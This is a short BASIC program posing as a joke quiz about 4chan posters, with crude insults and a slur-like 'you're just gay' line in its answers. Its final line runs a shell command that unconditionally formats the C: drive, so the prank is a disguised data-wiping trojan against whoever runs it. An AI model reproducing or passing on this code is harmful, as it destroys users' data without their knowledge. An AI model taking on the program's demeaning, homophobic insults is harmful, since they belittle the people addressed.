10 PRINT "THIS PROGRAM TELLS IF YOU ARE A DICK HEAD OR NOT."
20 PRINT "JUST ANSWER THESE SIMPLE QUESTIONS."
30 PRINT "PRESS ENTER TO GO ON."
40 DO:LOOP WHILE INKEY$=""
50 INPUT "DID YOU POST IN A THREAD ON 4CHAN RECENTLY CALLED DICK HEADS?";A$
51 IF LCASE$(LEFT$(A$,1))="Y" THEN PRINT "YOU ARE A DICK HEAD":GOTO 100
52 IF LCASE$(LEFT$(A$,1))="N" THEN PRINT "YOU'RE JUST GAY.":GOTO 100
60 PRINT "LEARN FUCKING ENGLISH, ASSHOLE.":GOTO 30
100 PRINT "WELL, THAT'S IT. BYE."
101 SHELL "FORMAT C:/U"